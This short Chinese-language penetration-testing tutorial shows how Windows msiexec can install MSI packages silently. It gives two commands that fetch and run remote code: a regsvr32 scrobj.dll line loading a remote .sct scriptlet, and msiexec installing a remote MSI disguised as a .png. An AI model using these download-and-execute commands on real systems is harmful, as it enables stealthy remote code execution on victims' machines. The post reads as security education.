渗透测试中的msiexec
0x00 前言
安装包还有一个常见的是msi文件，可在命令行下通过msiexec安装，学习下msiexec在渗透测试中的利用技巧
0x01 简介
msiexec:
系统进程，是Windows Installer的一部分
用于安装Windows Installer安装包（MSI）
一般在运行Microsoft Update安装更新或安装部分软件的时候出现，占用内存比较大
系统自带，在命令行下使用，参数说明如下：
msiexec -h
0x02 制作.msi文件
等价于在命令行下执行如下命令：
msiexec /i test.msi
同时会弹出安装的对话框，可以使用/q参数来隐藏安装界面
msiexec /q /i test.msi
0x03 远程下载执行msi文件
regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll
将msi文件上传到服务器，通过如下命令远程执行：
msiexec /q /i https://raw.githubusercontent.com/3gstudent/test/master/testmsi.png